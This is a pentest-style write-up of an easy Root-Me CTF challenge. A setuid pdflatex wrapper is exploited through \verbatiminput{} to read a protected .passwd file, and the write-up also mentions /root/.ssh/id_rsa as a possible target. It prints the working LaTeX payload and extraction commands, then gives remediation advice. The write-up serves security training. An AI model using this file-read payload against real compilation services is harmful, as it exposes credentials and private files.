

PENTEST REPORT

LaTeX Input – Root-Me Writeup

CLIENT	REPORT AUTHOR	AUTHOR ROLE	PERIOD
Root-Me	Philippe Bécué	Pen-tester	04/03/2026 - 04/03/2026



This report is published with the client's consent, once vulnerabilities have been remediated.

Table of Contents

01 **Warning — Simulation / CTF**
Legal information, privacy, and terms of use for this document

02 **Demo Video**
Video demonstration of the exploitation or mission progress

03 **Vulnerability Table**
Severity classification grid and CVSS scores used in this report

04 **Participants List**
Presentation of the team members who participated in the penetration testing mission

05 **Scope**
Definition of the audit scope — systems and applications included and excluded from the test

06 **Information Gathering**
Collection of public information on the target: WHOIS, DNS, SSL certificates, exposed technologies

07 **OSINT**
Open-source intelligence — social media, data breaches, digital footprint

08 **Enumeration**
Discovery of services, open ports, software versions, and identified entry points

09 **Vulnerability Analysis**
Identification, qualification, and classification of discovered security vulnerabilities

10 **Exploitation**
Technical demonstration of the exploitation of confirmed vulnerabilities

11 **Post-Exploitation**
Post-compromise actions — privilege escalation, persistence, and lateral movement

12 **Vulnerabilities Summary Table**
Consolidated summary of all vulnerabilities with their CVSS score and criticality

13 **Conclusion**
Mission summary, overall security level assessment, and risk evaluation

14 **Solution**
Technical and organizational recommendations to remediate identified vulnerabilities

01

Warning — Simulation / CTF

This document is the report of a mission carried out in a simulated environment, for exclusively educational and training purposes. The targeted infrastructure is a virtual machine or a Capture The Flag (CTF) type environment, intentionally vulnerable and designed for learning offensive and defensive cybersecurity techniques. No real production systems, personal data, or third-party infrastructure were involved during this mission.

The techniques, tools, and methods described in this report are presented for educational purposes. Reproducing them on computer systems without explicit authorization from the owner is illegal and subject to criminal prosecution under applicable cybercrime legislation. The author disclaims any responsibility for the misuse of the information contained in this document for malicious or unauthorized purposes.

This report is part of a process to improve skills and document expertise in offensive security. It may be shared for demonstration or professional reference purposes in compliance with the terms of use of the platform or the organizer of the challenge concerned. Any partial or total reproduction for commercial purposes is prohibited without prior authorization from the author.

02

Demo Video

A video demonstration of this mission is available online. The video illustrates the exploitation process and the techniques used.

Video

VIDEO LINK

https://youtu.be/79bVPf2CKyk

03

Vulnerability Table

The following table defines the severity levels and corresponding CVSS score ranges used throughout the document to assess vulnerability and risk impact.

SEVERITY	CVSS V3 SCORE RANGE	DEFINITION
CRITICAL	9.0 – 10.0	Exploitation is simple and generally leads to total system compromise. It is advised to establish an action plan and apply the fix immediately.
HIGH	7.0 – 8.9	Exploitation is more difficult but can lead to privilege escalation and potentially data loss or service interruption. It is advised to establish an action plan and apply the fix as soon as possible.
MEDIUM	4.0 – 6.9	Vulnerabilities exist but are not directly exploitable or require additional steps such as social engineering. It is advised to establish an action plan and apply the fix after resolving higher-priority issues.
LOW	0.1 – 3.9	Vulnerabilities are not exploitable but would reduce the organization's attack surface. It is advised to establish an action plan and apply the fix during the next maintenance window.
INFORMATIONAL	N/A	No vulnerabilities exist. Additional information is provided regarding observations during testing, strong controls, and supplementary documentation.

04

Participants List

NAME	ROLE	EMAIL	ENVIRONMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

05

Scope

Test Scope

NAME	DETAILS
challenge02.root-me.org:2222	Root-Me Challenge – App-Script – LaTeX Input (Easy)

Scope Exclusions

No exclusions defined. Click "Add Exclusion" to get started.

06

Information Gathering

This Root-Me challenge from the **App-Script** category is classified as **Easy** difficulty. Access is via SSH to a remote machine:

```
ssh -p 2222 app-script-ch23@challenge02.root-me.org
```

Once connected, we have a restricted shell on the challenge server. The objective is to obtain the content of the `.passwd` file belonging to the challenge, protected by file system permissions.

By exploring the challenge directory, we find a bash script and a setuid binary:

```
ls -la /challenge/app-script-ch23/
total 28
drwxr-xr-x  2 root         root          4096 ...
-rwsr-xr-x  1 app-script-ch23 root      8704 ch23
-rw-r--r--  1 root         root           312 ch23.sh
-r--------  1 app-script-ch23 root        32 .passwd
```

The `.passwd` file is readable only by the `app-script-ch23` user. The `ch23` binary runs with the rights of this user (setuid bit), and it's this binary that will allow us to reach the flag.

07

OSINT

No content has been added to this section yet.

08

Enumeration

Analysis of the compilation script

By reading the source script `ch23.sh`, we understand exactly what the program does:

1. It expects a `.tex` file as an argument
2. It creates a temporary directory using `mktemp -d`
3. It copies our file into this directory as `main.tex`
4. It compiles twice with `pdflatex` (classic double pass in LaTeX to resolve cross-references)
5. It deletes the source `.tex` file
6. It displays the path to the generated PDF

The call to `pdflatex` includes a notable security option:

```
timeout 5 /usr/bin/pdflatex \
    -halt-on-error \
    -output-format=pdf \
    -output-directory "${TMP}" \
    -no-shell-escape \
    "${TMP}/main.tex" > /dev/null
```

The `-no-shell-escape` flag is present. Its role is to **disable the `\write18{cmd}` command**, which would allow arbitrary shell commands to be executed directly from LaTeX code. This protection seems robust at first glance… but it only covers one attack vector.

09

Vulnerability Analysis

The \input{} command — a native LaTeX feature

In LaTeX, the `\input{file}` command allows including the content of an external file into the current document being compiled. This is a standard and legitimate feature, used to modularize complex documents.

The problem? **`\input{}` accepts absolute paths**, and the `-no-shell-escape` option has no effect on it. In other words, we can ask `pdflatex` to include `/etc/passwd`, `/root/.ssh/id_rsa`, or any file accessible by the user under which the process is running.

Here, the `ch23` binary has the setuid bit and executes with the rights of the `app-script-ch23` user, who can read `.passwd`. The chain is therefore complete:

- We provide a `.tex` file containing an absolute path inclusion command
- pdflatex executes with the rights of the target user
- The content of the sensitive file is integrated into the output PDF
- We extract the flag from the PDF

This is an **Arbitrary File Read** vulnerability, exploited via a native feature of the LaTeX engine. The implemented protection (`-no-shell-escape`) is insufficient because it only covers the shell code execution vector, not the file inclusion vector.

To enhance security, `pdflatex` should have been executed in an isolated environment — sandbox, Docker container, chroot — or with a user without access to the challenge's sensitive files.

10

Exploitation

Constructing the LaTeX payload

The key to exploitation lies in the choice of the inclusion command. We could use `\input{}`, but it attempts to interpret the file's content as LaTeX code. If the flag contains reserved characters (_, #, %, &, $, {, }...), compilation will fail.

The solution is to use `\verbatiminput{}` from the `verbatim` package, which includes the file's content **as is, without any interpretation**. This is the most robust choice for reading arbitrary files.

We connect via SSH and then create the malicious file:

```
ssh -p 2222 app-script-ch23@challenge02.root-me.org

cat > /tmp/read_flag.tex << 'EOF'
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{/challenge/app-script-ch23/.passwd}
\end{document}
EOF
```

We then launch the compilation via the challenge's setuid binary:

```
/challenge/app-script-ch23/ch23 /tmp/read_flag.tex
```

The script displays the path of the generated PDF:

```
[+] Compilation ...
[+] Output file : /tmp/tmp.aB3xYqZ8mL/main.pdf
```

Extracting the flag from the PDF

The content of the `.passwd` file has been integrated into the PDF during compilation. We can extract it directly from the terminal without needing a graphical PDF reader:

```
pdftotext /tmp/tmp.aB3xYqZ8mL/main.pdf -
```

If `pdftotext` is not available, a simple alternative is to search for readable strings in the PDF binary:

```
strings /tmp/tmp.aB3xYqZ8mL/main.pdf | grep -v "^%" | head -30
```

The flag appears in plain text in the output, corresponding to the content of `.passwd`:

```
<flag>
```

11

Post-Exploitation

No content has been added to this section yet.

12

Vulnerabilities Summary Table

Arbitrary file read via \verbatiminput{} (LaTeX) HIGH

APPLICATION

pdflatex compilation script (ch23)

TYPE

Arbitrary File Read

MAIN IMPACT

Reading the .passwd file containing the flag via unrestricted LaTeX inclusion

13

Conclusion

This challenge illustrates a classic security flaw: **partial protection that gives a false sense of robustness**. The attack chain is concise and direct:

1. Analysis of the bash script → identification of the call to `pdflatex` with `-no-shell-escape`
2. Identification of the `\verbatiminput{}` feature not covered by this option
3. Creation of a `.tex` file exploiting absolute path inclusion
4. Execution via the setuid binary to read `.passwd` with the target user's rights
5. Extraction of the flag from the generated PDF

The main educational point is the difference between **disabling code execution** (`-no-shell-escape` blocks `\write18{}`) and **controlling file access** — two distinct attack surfaces that must be treated independently. A sandbox or chroot would have made this attack impossible, regardless of the LaTeX command used.

14

Solution

1. Isolation of the execution environment

The most effective mitigation is to execute `pdflatex` in a completely isolated environment, with no access to the host file system:

- **Docker container** with a dedicated temporary volume and no mounting of sensitive directories
- **Chroot jail** limiting the file system view to only what is necessary for compilation
- **Seccomp sandbox** filtering file read system calls outside the working directory

2. Dedicated user without access to sensitive files

The setuid binary executes with the rights of a user who can read `.passwd`. By dissociating the compilation user from the flag owner user, we break the attack chain. The `pdflatex` process should run under a minimal privilege user, without access to protected files.

3. Restriction of paths accessible by pdflatex

Some TeX Live distributions offer path restriction mechanisms via the `texmf.cnf` configuration (`openin_any` option). By setting it to `r` (restricted) or `p` (paranoid), we can limit access to files only within the current working directory, thus blocking absolute path inclusions like `/challenge/...`.